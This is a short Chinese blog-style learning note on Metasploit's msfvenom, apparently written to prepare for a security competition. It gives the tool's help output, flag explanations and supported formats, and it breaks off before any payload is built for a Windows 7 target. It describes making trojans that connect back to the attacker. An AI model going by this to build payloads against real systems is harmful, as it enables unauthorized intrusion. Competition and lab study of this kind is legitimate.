因为比赛需要，自学了一下msfvenom，可能会断断续续或者不完整，仅作参考。

在kali2.0的环境上，因为msfpayload没有了，被整合进了msfvenom，所以这就只写一些关于msfvenom的东西。
这里就只是记录下生成一个程序的过程。

msfvenom

msfvenom是msfpayload,msfencode的结合体，可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线

首先还是得打开postgresql
root@kali:~# service postgresql start

然后让我们看看它有哪些功能

root@kali:~# msfvenom 
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
        --help-platforms             List available platforms
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

部分参数
-p 选择一个载荷，或者说一个模块吧。
-l 载荷列表
-f 生成的文件格式
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-h 帮助

说到文件格式，不同的平台需要的不同，来看看支持生成的格式

root@kali:~# msfvenom --help-formats
Error: Executable formats
    asp, aspx, aspx-exe, dll, elf, elf-so, 
exe, exe-only, exe-service, exe-small, hta-psh, 
loop-vbs, macho, msi, msi-nouac, osx-app, psh, 
psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
    bash, c, csharp, dw, dword, hex, java, js_be, js_le, 
num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

让我们正式开始吧，因为我的目标平台是一个win7 64 位，所以要找一个相应的载荷。
